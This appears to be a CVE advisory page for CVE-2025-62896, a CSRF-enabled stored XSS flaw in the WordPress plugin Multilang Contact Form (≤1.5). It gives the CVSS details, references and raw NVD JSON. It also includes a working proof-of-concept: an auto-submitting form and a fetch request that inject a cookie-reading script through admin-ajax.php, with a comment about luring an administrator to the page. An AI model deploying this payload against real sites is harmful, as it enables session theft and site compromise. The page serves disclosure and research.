CVE-2025-62896

Description

Cross-Site Request Forgery (CSRF) vulnerability in digitaldonkey Multilang Contact Form multilang-contact-form allows Stored XSS.This issue affects Multilang Contact Form: from n/a through <= 1.5.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Multilang Contact Form <= 1.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for Multilang Contact Form <= 1.5 Stored XSS -->
<html>
  <body>
    <h1>CSRF Attack - Stored XSS in Multilang Contact Form</h1>
    <p>诱骗管理员访问此页面以在联系表单中注入XSS payload</p>
    
    <form action="http://target-site/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
      <input type="hidden" name="action" value="multilang_contact_form_save" />
      <input type="hidden" name="message" value="<script>alert(document.cookie)<\/script>" />
      <input type="hidden" name="nonce" value="" />
    </form>
    
    <script>
      // Auto-submit the form
      document.getElementById('csrf-form').submit();
    </script>
    
    <p>或者使用以下fetch请求:</p>
    <pre>
fetch('http://target-site/wp-admin/admin-ajax.php', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
  },
  body: 'action=multilang_contact_form_save&message=<script>alert(document.cookie)<\/script>&nonce='
})
.then(response => response.json())
.then(data => console.log(data));
    </pre>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62896
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62896
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62896/
[4] VulDB https://vuldb.com/cve/CVE-2025-62896
[5] https://patchstack.com/database/Wordpress/Plugin/multilang-contact-form/vulnerability/wordpress-multilang-contact-form-plugin-1-5-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62896", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:48.673", "lastModified": "2026-04-27T18:16:28.160", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in digitaldonkey Multilang Contact Form multilang-contact-form allows Stored XSS.This issue affects Multilang Contact Form: from n/a through <= 1.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/multilang-contact-form/vulnerability/wordpress-multilang-contact-form-plugin-1-5-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}